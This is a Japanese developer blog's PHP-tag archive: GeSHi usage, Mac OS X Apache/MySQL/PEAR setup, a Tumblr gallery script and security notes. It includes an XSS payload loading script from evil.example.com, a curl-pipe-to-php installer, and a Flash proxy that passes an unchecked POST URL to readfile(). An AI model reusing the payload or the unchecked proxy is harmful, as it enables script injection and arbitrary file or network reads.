— boreal-kiss.com

Archive
Tag "PHP"

GeSHi – Generic Syntax Highlighterはプログラムソースを修飾語などにきれいに色付けした状態でhtmlソースとして出力してくれるPHPパッケージ。対応言語が豊富で、ActionScriptやObjective-Cも対応している。GeSHiを使ったWebサービスが見当たらないのはプロジェクトライセンスがGPLのためなのかな。

使い方

  1. sourceforge.netからパッケージをダウンロード。パッケージ全体をPHPが動作する環境に配置する。
  2. パッケージで定義されているGsShiクラスにhtml化したいソースファイルのストリング内容とパースしたい言語を引数に渡してパースさせる。
  3. パース内容を出力させたものがhtml化されたソースコードになる。

ActionScript 3.0の場合

例えばTest.asの中身を表示したい場合、PHPファイルに以下のように記述して実行。

<?php
 
include('geshi.php');
 
//Language
$lang = 'actionscript3';
 
//Raw source code
$path = 'Test.as';
 
$src = file_get_contents($path);
$geshi = new GeSHi($src, $lang);
$geshi->enable_keyword_links(false);
 
echo $geshi->parse_code();
?>

上記PHPファイル実行時の出力内容は以下の通り。Flex Builderと全く同じ見た目が出力される。インデントがちょっと深いぐらい?

package {
	import flash.display.Sprite;
 
	/**
	 * Test.as
	 */ 
	public class Test extends Sprite{
		/**
		 * Constructor
		 */ 
		public function Test(){
			this.init();
		}
 
		protected function init():void{
			trace("Hello");
		}
	}
}
 

Objective-Cの場合

例えばTestAppDelegate.mの中身を表示したい場合、PHPファイルに以下のように記述して実行。

<?php
 
include('geshi.php');
 
//Language
$lang = 'objc';
 
//Raw source code
$path = 'TestAppDelegate.m';
 
$src = file_get_contents($path);
$geshi = new GeSHi($src, $lang);
$geshi->enable_keyword_links(false);
 
echo $geshi->parse_code();
?>

上記PHPファイル実行時の出力は以下の通り。まあアリ?

//
//  TestAppDelegate.m
//  Test
//
//  Created by boreal-kiss.com on 09/02/08.
//  Copyright boreal-kiss.com 2009. All rights reserved.
//
 
#import "TestAppDelegate.h"
#import "TestViewController.h"
 
@implementation TestAppDelegate
 
@synthesize window;
@synthesize viewController;
 
 
- (void)applicationDidFinishLaunching:(UIApplication *)application {    
 
    // Override point for customization after app launch    
    [window addSubview:viewController.view];
    [window makeKeyAndVisible];
}
 
 
- (void)dealloc {
    [viewController release];
    [window release];
    [super dealloc];
}
 
 
@end
 

その他

パッケージデフォルトだとSpriteやintなんかに変なURLのリンクがくっつくので、以下の設定でキーワードへのURLリンクを無効にしておくとよい。

$geshi->enable_keyword_links(false);

出力された内容をそのままブログなんかにコピー&ペーストしたいのであれば、以下のように出力内容を設定してやるとよい。出力内容がhtmlタグの形で表示される。

//echo $geshi->parse_code();
 
echo '<pre>';
echo htmlspecialchars($geshi->parse_code());
echo '</pre>';
Read More

MacOSXのローカルサイト(http://localhost/~USERNAME/)でFlexアプリケーションからPHP経由でMySQLと通信するまでに必要な諸設定について。文章が長くなったので今回はFlexとの連携直前の下準備まで。

About my Mac

MacOSX 10.5.3 (Intel Core 2 Duo)

必要なもの

3と4は必須ではないけど有った方が断然便利。

  1. Apache(webサーバー)
  2. MySQL(データベース)
  3. phpMyAdmin(MySQLを操作するwebアプリケーション)
  4. PEARパッケージ(PHP用モジュール)
  5. Flexアプリケーションが動作する環境(Flex Builder, Flex SDK etc.)

1. Apache

最初からMac OSXにはインストールされているので、PHPが動作するように設定をするだけ。ただし設定ファイル(httpd.conf)の在処がOSX 10.5から変更されている(参考: Mac OS X 10.5 Leopard で PHP を動作させるには − kazumich.log)。

/etc/httpd/httpd.conf (OSX 10.4) -> /etc/apache2/httpd.conf (OSX 10.5) 

httpd.conf内の以下の行のコメントアウト#をはずす。

#LoadModule php5_module      libexec/apache2/libphp5.so

以下のコマンドでApacheを再起動しhttpd.confの設定を反映させる。(この後何回も行う重要なコマンド)

sudo apachectl restart

次にMacのシステム環境設定 > ネットワーク共有からWeb共有を有効にする。これで自分のローカルサイト(http://localhost/~USERNAME/)でPHP5が動作するようになる。試しに「~/Sites/」直下に以下を記述したファイルをindex.phpとして保存(Finderだと「書類 > サイト」)。

<?php echo 'Hello world'; ?>

ブラウザでhttp://localhost/~USERNAME/index.phpにアクセスして「Hello world」と表示されたらOK。

2. MySQL

MySQL :: MySQL Downloadsより本体をダウンロード。Mac OSX 10.5用には32bit環境用(x86)と64bit環境用(x86_64)が用意されているので必要な方を。僕はx86_64をダウンロードした。PowerPCの場合はPowerPC専用と明記されたものを使わないとダメかもしれません。

MySQL本体とStartupItemsの両方をインストール。ターミナルより以下を指定でMySQLサーバが起動。

sudo /Library/StartupItems/MySQLCOM/MySQLCOM start

試しにコマンドラインで以下を指定してMySQLと通信できればOK。

mysql -u root

MySQLが起動していないとこういうエラーが出る。

Can't connect to local MySQL server through socket '/tmp/mysql.sock'

rootユーザーにパスワードを設定する場合はMySQLと通信した状態でターミナルより以下のように指定。

mysql> UPDATE user SET password = PASSWORD('********') WHERE user = 'root'; 

これで次回のMySQLログイン時にパスワード入力が必要になる。アクセスは「mysql -u root -p」。

3. phpMyAdmin

必須ではないけどGUIとしてスタンダードだしある方が断然便利。phpMyAdmin | MySQL Database Administration Tool | www.phpmyadmin.netより最新のパッケージをダウンロード。ただのPHPファイル群なのでMacがどうこうってものはない。解凍したフォルダ名を例えば「phpMyAdmin」にして例えば「~/Sites/」直下にフォルダごと移動(Finderだと「書類 > サイト」)。

フォルダ内のconfig.inc.phpファイル(またはそれに準じた名前のファイルを”config.inc.php”に修正)内に以下のような記述を加える。Authentication Typeはパスワード制にした(cockieを使う方法もある)。パスワードは先ほどrootユーザーに付与したもの。extentionの項はMySQL 4.1.2以上用のmysqli (improved MySQL)とした(mysqlでもok)。これでwebブラウザからhttp://localhost/~USERNAME/phpMyAdmin/にアクセスすると常時rootユーザーでMySQLと通信することになる。

$cfg['pmaAbsoluteUri'] = 'http://localhost/~USERNAME/phpMyAdmin/';
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = '******';
$cfg['Servers'][$i]['extension'] = 'mysqli';

毎回パスワードを要求させるのであれば上記の一部を以下のように記述。

$cfg['Servers'][$i]['auth_type'] = 'http';
$cfg['Servers'][$i]['user'] = '';
$cfg['Servers'][$i]['password'] = '';

次にPHPが参照するMySQLソケットパスを実際のMySQLソケットパスとに合わせてやる。この時点でhttp://localhost/~USERNAME/phpMyAdmin/にアクセスしてphpMyAdminが動作するのであれば通信が正しく行えている状態なので修正は必要ない。MySQLのソケットパスはMySQLと通信した状態でターミナルより確認できる。

mysql> status;

ソケットパスは僕の場合以下のようになっていた。

UNIX socket: /tmp/mysql.sock

次にPHPが参照しているMySQLソケットパスは、phpinfo()で確認できる。先ほど”Hello world”を書いたindex.phpに以下のように記述して実行すればok。

<?php phpinfo(); ?>

表示される情報の下の方にPHPが参照しているmysql(mysqli)ソケットパスが表示されているはず。僕の場合は以下のようになっていた。

MYSQL_SOCKET		/var/mysql/mysql.sock
mysql.default_socket	no value

MYSQLI_SOCKET		/var/mysql/mysql.sock
mysqli.default_socket	no value

これらを修正するためにphp.iniファイルを修正する。コマンドラインより

sudo pico /etc/php.ini

ファイル内部のMySQL (MySQLi)の項目にMySQLの実際のソケットパス(ここでは/tmp/mysql.sock)を記述。

mysql.default_socket = /tmp/mysql.sock
mysqli.default_socket = /tmp/mysql.sock

Apacheを再起動(sudo apachectl restart)してphpinfo()で確認する。先ほど”mysql.default_socket no value (mysqli.default_socket no value)”となっていた箇所が設定できていればOK。phpMyAdminにアクセスできるはず。

4. PEAR

これも絶対必須ではないけど、例えばDBモジュールだとデータベースのバージョン変化だったりに柔軟に対応できるので便利。まずインストーラーのダウンロード。ターミナルより

sudo curl http://pear.php.net/go-pear | php

どこにインストールするか聞かれるので番号を押しながら設定(参考: 素晴らしき哉、人生!: Mac OS 10.5にpearをインストール)。デフォルトだと「~/Documents」直下にインストールになる(参考: Mac OS Xで動かす軽量プログラミング言語 − @IT)。僕は前者に従って以下のように設定した。

1. Installation prefix ($prefix) : /usr/share/PEAR
2. Temporary files directory : $prefix/temp
3. Binaries directory : /usr/bin
4. PHP code directory ($php_dir) : $prefix
5. Documentation base directory : $php_dir/docs
6. Data base directory : $php_dir/data
7. Tests base directory : $php_dir/tests

上記の例の場合pearコマンドは「/usr/bin/」にインストールされるので、自分の環境設定ファイルにパスを通しておくと後々便利。

pico ~/.profile

ファイル内に以下のように記述。

export PATH="$PATH:/usr/bin"

PEARパッケージ内の情報は以下のコマンドで取得できる。

pear list

DBパッケージをインストール。上記の例の場合「/usr/share/PEAR/」配下にDB.phpがインストールされる。

sudo pear install -a DB

PEARパッケージをインストールした時点で「/etc/php.ini」の最後尾に以下のような記述が追加されているはず(なければ追加記述する)。

;***** Added by go-pear
include_path=".:/usr/share/PEAR"
;*****

php.iniファイルを反映させてから(sudo apachectl restart)、試しにDB.phpをインクルードしてみる。適当なphpファイルを作り以下のように記述してから実行。

<?php require_once('DB.php'); ?>

エラーが出なければパスが通っている証拠。これでFlex以外の環境は整いました。次回へつづく

Read More

完成品がこちら。どうだエロいだろう。PHPで作る必要があるのかと言われると、うーん。たぶんJavaScriptオンリーでTumblr情報取得->画像表示とするのがスマートなのかな。

以下ファイルを設定・実行すると画像表示に必要なhtml(下記例では”photo_table.php”)を書き出すので、それを表示したい場所にincludeすればOK。書き出しを定期的に自動で行わせたい場合はCRON等を使用。下記コードではLightbox2の利用を想定しているので、書き出したファイルのimgタグ内にrel=”lightbox”という属性が付く。不要であれば適宜除去。XML解析にはSimpleXMLというモジュールを使用しているのでPHP5以上が必要。

ファイルの設定箇所

  1. TumblrのUSERIDを設定(http://USERID.tumblr.com)
  2. 取得ポスト数を設定
  3. ポストの種類を設定(フォトギャラリーを作成するなら再設定不要)
  4. ギャラリーのサムネイルサイズを設定(75, 100, 250, 400, 500のみ)
  5. サムネイルクリックで表示される画像サイズの設定(75, 100, 250, 400, 500のみ)
  6. 書き出しファイルの名前(と必要であればファイルパス)。デフォルトでは同じディレクトリに作成。ファイル書き出しを行うので書き出し先ディレクトリに書き込み権限を与えることを忘れずに。
<?php

//(1) Set your Tumblr ID
define('USER_ID', 'borealkiss');

//(2) Set the maximum item number
define('MAX_NUM', '30');

//(3) Set the post type.
//You don't need to change as long as you are making a photo gallery.
define('POST_TYPE', 'photo');

//(4) Choose the thumbnail size of each image (75,100,250,400, or 500)
define('THUMBNAIL_SIZE', '75');

//(5) Choose the image size in the gallery (75,100,250,400, or 500)
define('GALLERY_SIZE', '400');

//(6) Define a file name for image tabels
define('FILENAME', 'photo_table.php');

$fp_out = fopen(FILENAME, 'w');
$req1 = 'num='.MAX_NUM;
$req2 = 'type='.POST_TYPE;
$req_url = 'http://'.USER_ID.'.tumblr.com/api/read?'.$req1.'&'.$req2;
$xml = simplexml_load_file($req_url);

foreach ($xml->posts->post as $post){
        
    //get the attribute
    $permalink = $post['url'];
    
    foreach ($post->{'photo-url'} as $url){
        foreach ($url->attributes() as $key=>$value){
        
            if ($key == 'max-width' && $value == GALLERY_SIZE){
                fwrite($fp_out, '<a href="'.$url.'" rel="lightbox" title="'.$permalink.'">');
            }
            else if ($key == 'max-width' && $value == THUMBNAIL_SIZE){
                fwrite($fp_out, '<img src="'.$url.'" border="0"/></a>');
            }
        }
    }
}

fclose($fp_out);
?>

[関連リンク]
Tumblr API reference (JP)

Read More

某有名FLASHerさんが珍しくPHPで作品を公開していたので、「へえ、この人PHPも使うんだ」と思いながら、間違えて変なの入力したら(嘘だけど)、以下のようにして入力を扱っている様子。


<?php
echo addslashes($_GET['txt']);
?>

これって一見良さそうだけど以下のようなシングルクオートもダブルクオートも使わないスクリプトは読み込める。クオートなくても動くってのがまず驚きだけどクオートを書かないって発想がさらに驚愕 (参考:XSS (Cross Site Scripting) Cheat Sheet)。


<script src=http://evil.example.com/xxx.js /></script>

読み込んだxxx.jsファイルの中身はaddslashes()の制限を受けないので何でもアリの無法地帯。うまいこと第三者をおびきよせてxxx.jsの中身を読ませることができる。まあただの揚げ足取りなんだけど(でもセキュリティ屋がやってることはこういうことでしょ?)要するに言いたかったことは、このFLASHerさんはActionScriptは(少なくとも僕から見て)達人級であってプログラムを書くこと自体には熟練しているということ。ほんとにプログラミングゼロからの人間にセキュリティを気にしろって言うのは無理があると思っただけ。

Read More

メモ。

シングル・ダブルクオーテーションに関する動作を示すオプションの第2の引数をとり、無指定でデフォルトはENT_COMPAT(ダブルクオーテーションを変換、シングルクオーテーションを無変換)。ENT_QUOTESでダブルおよびシングルクオーテーションをそれぞれ”、’に変換。


<?php
$text = htmlspecialchars($_POST['text'], ENT_QUOTES);
?>

[Reference]
htmlentities – PHPマニュアル
htmlspecialchars – PHPマニュアル

Read More

(鵜呑み禁止)

はてな界隈で盛り上がってる。僕自身のPHPを学ぶ気力に関わってきそうだったので追尾してたけど、結局[Z]ZAPAブロ〜グ2.0さんの「プログラミング言語は宗教みたいなもの」で全部片付いちゃうんじゃないの。宗教よりも実際の言語間の言い争いかな。信仰と違ってなまじっか客観的に色々指摘できちゃうからこうなる。「日本でしか使えない日本語覚えて効率悪くない?」とか「なんで日本語って文章の最期まで聞かないと結論わかんないの?不便だね」とか言われて逆上してるような感じ。

面白いねプログラミング言語やってる人達って(ごく一部なんだろうけど)。比較惑星学みたいに「比較プログラミング言語学」とかつくっちゃえばいいのに。あーでも惑星やってる連中は仲いいよ。「月冷えきっちゃってんじゃん」とか「金星ってプレート運動ないの?うわ、だせえ」とかならない。メインの研究対象以外あんまり興味を持たないってのもあるかもだけど。

事の発端。Rubyの作者さんなんですね、ビックリ。

特に「PHPは初心者に学びやすい(と言われていることが問題である)」という部分に共感する。 PHPは初心者に簡単かもしれないが、初心者による手を抜いたWebアプリケーションは PHPが作られた当初はともかく、現代では害悪ではないだろうか。Webアプリケーションをなめるな

Matzにっき / PHPがいかに駄目な言語か、という話。

PHP側。(面白い部分を引用)

まあ、ハッカーというか天才というかとにかく偉い(と周囲に持ち上げられている)人が怪気炎っぽいものをあげて自分の好まないものをこきおろすのは、これまたよくあることではある。

Web屋のネタ帳 / どの言語で書いてもおかしなコードを書く奴は書く。

Perl。(意味不明なんで割愛)

404 Blog Not Found / 「PHPなめんな」と「(Perl|Python|Ruby)をなめんな」の違い

PHP側。

プログラミング言語は宗教みたいなもので、好きか嫌いかですぐに論争になります。

[Z]ZAPAブロ〜グ2.0 / PHPは定期的にネタにされる

ところで下のやつは何がダメなの?切実に理由が知りたいです。

PHP使ってるヤツらって

htmlspecialchars($_GET[‘text’]);

こんなコード書いてる!

m9(^Д^)プギャー

[Z]ZAPAブロ〜グ2.0 / PHPは定期的にネタにされる

ネタのような気もするけどこんなのまであるらしい。面白い。

PHPやってるだけでバカにされるんですがどうしたらいいでしょうか。

そしてまだ届かない!!「薄い」ってのに超期待してんだけどなあ。

入門PHPセキュリティ
入門PHPセキュリティ

追記。なるほど。こういうのが知りたかった。PHPの方が人為的ミスが生じやすいわけね。

RubyやPerlでは外部から入力された文字列にtaint(汚染)と呼ばれるマークがつく。 taintされた文字列から加工された文字列にもtaintがつく。これをチェックすることで外部からの入力をチェック(サニタイズ)しないまま危険な操作(ファイル名にする、systemを呼び出す、HTML/SQLに埋めこむ、など)を禁止することができる。

Matzにっき / 安全なWebアプリのために言語ができること

Read More

ブログでレベルアップが時々画面真っ白になって何も表示されないことがあったんだけど、理由はこれかもしれない。一応.htaccessに書いてみたけど、どうなんだろ。確認しにくいな。

可能性として、運用されているPHPスクリプトと、サーバー側でのPHP高速化・キャッシュモジュールとの相性の問題が発生していることがあります。その場合は、下記コマンドを「.htaccess」に記載してください。


php_flag apc.cache_by_default off

(PHPでのエラー対策について – CORESERVER.JP:コアサーバーより)

それと、これはどういう意味だ?外部からうちのドメインのファイルはリモートで読めないようになってるってことなんかな。なるほどね。

標準で、include()/require()によるURLの取得ができなくなっております。おすすめいたしませんが、ご利用いただくには、下記コマンドを「.htaccess」に記載してください。


php_flag allow_url_fopen on
php_flag allow_url_include on
Read More

PHP Hacks―プロが教えるWebプログラミングテクニック
PHP Hacks (Hacks)

PHPソース内にHTMLタグを書く場合(例えば<form>や<table>)、HTMLタグをechoさせるか、PHPソースを一旦閉じてしまってからPHPソース外にHTMLタグを書かないといけない。当たり前だけどこれが意外とかったるいイメージがあって、フォームやテーブルを使いたくなくなることがある(特にテーブル)。んで、お年玉で買ったこの本にね、面白い書き方がしてあってちょっと感動した。

例えば、PHPソース内に<form>タグを書きたい場合、form.php(名前適宜)にフォームだけを表示するよう以下のように記述;


<?php

function show_form(){

?>

<form>フォーム内容</form>

<?php

}

?>

次に、以下のindex.php(名前適宜)のフォームを表示させたい場所にshow_form()を呼び出す;


<html>
<head>
<?php include('./form.php'); ?>
</head>

<body>
<?php
/* PHPソース色々 */
/* PHPソース色々 */

show_form(); //ここに上記フォーム内容が表示される

/* PHPソース色々 */
/* PHPソース色々 */
?>
</body>
</html>

こういう風に書く利点は

  1. PHPソース内に関数を呼ぶだけでフォーム(やテーブル)が書ける(index.php)。
  2. PHPとHTMLが入り乱れるような煩雑なソースにならない(index.php)。
  3. Dreamweaverで作業する時にフォーム部分が色分けされていてわかりやすい(form.php)。

ミソはform.phpの書き方かな。ちなみにこれはHACKSでもなんでもない部分なんだけど、煩雑になる部分を外部ファイルにするとか思いつかなかったな。フォームの主要要素(actionやinput内容)を引数に持つ関数やテーブルのレイアウトに関する情報を引数に持つ関数を作ったら汎用性がありそう。

Read More

FLASHのload関数で直接読み込めないファイル(異なるドメインのXMLファイル等)は、PHP等のサーバー側スクリプト言語を利用することでFLASHに読み込ませることができる。PHPを使う場合の手順は以下の通り(具体的なソース等はこちらを参照)。

  1. FLASHからPHPへ。SendAndLoad関数等を用いてPHPへ読み込みたいファイルのURLを送信する。
  2. PHP内部処理。PHPのreadfile関数等で指定されたファイルを読み込む。
  3. PHPからFLASHへ。読み込んだファイル内容(標準出力)をFLASHのSendAndLoad関数の返り値に送り返す。
  4. FLASH内部。SendAndLoad関数の返り値を受け取って続きの処理へ。

しかし、FLASHの日本語文字コードはShift-JISとUTF-8にしか対応していないので(FLASH ActionScript辞典より。ちなみにクソ本)、EUC-JPで記述されたブログ(FC2等)のXMLファイルをPHPでそのまま読み込んでFLASHに送り返すと文字化けしてしまう。そこでPHPで読み込んだファイル内容を文字コードを変換してからFLASHに送り返す必要がある。以下はPHPからFLASHへUTF-8にエンコーディングしてから送るためのPHP内部の処理。


<?php

//readfile関数の内容を標準出力せずに内部バッファに保存させる
ob_start();

//FLASHから送信されたURL先のファイル内容を読み込む(標準出力されない)
readfile($_POST['url_from_flash']);

//内部バッファに保存された内容を変数に格納する
$str = ob_get_contents();

//内部バッファの開放
ob_end_clean();

//上記で変数に格納された内容がEUC-JP, Shift-JIS, UTF-8の場合、UTF-8に再エンコーディング
echo mb_convert_encoding($str,'UTF-8', 'EUC-JP,Shift_JIS,UTF-8');

//UTF-8にエンコーディングされた内容を標準出力(出力内容がFLASHへ送信される)
echo $str;
?>

追記(2007/12/17): なんかコードがダメ出しされてる。ただ肝心な部分のフィードバックがないので何がダメなのかわからず終い。

追記(2007/12/19): 先方で詳細コメント・解説をもらえた。単独では知り得なかった現在の状況が把握できたので有益なTB。

Read More

概要

MovableTypeの各記事の人気ランキングを表示する方法。MTのランキング集計についてはJeff Borlikという方が作成したT-MostVisitedというMT用プラグインが有名みたいだけど、各記事のファイル名を日付で生成している場合(例えば17174937.htmlとか)やアクセスログがgzip圧縮されていたりするとそのままでは使えない。今回はOpen MagicVox.netさんが配布しているPHPスクリプトを用いてログ解析から集計結果の表示までを行った。Open MagicVox.netさんのところにランキング表示までの一般的なインストラクションが記述されているが、カスタマイズ設定はどこかにメモしておかないと忘れると思ったのでここにメモ。なお著者の使用するサーバーはハッスルサーバー。ロリポップやSAKURA Internetの設定方法は探せばネット上にゴロゴロあると思います。

(ソースコード配布とありますが、気にせず続きは以下へ)

Read More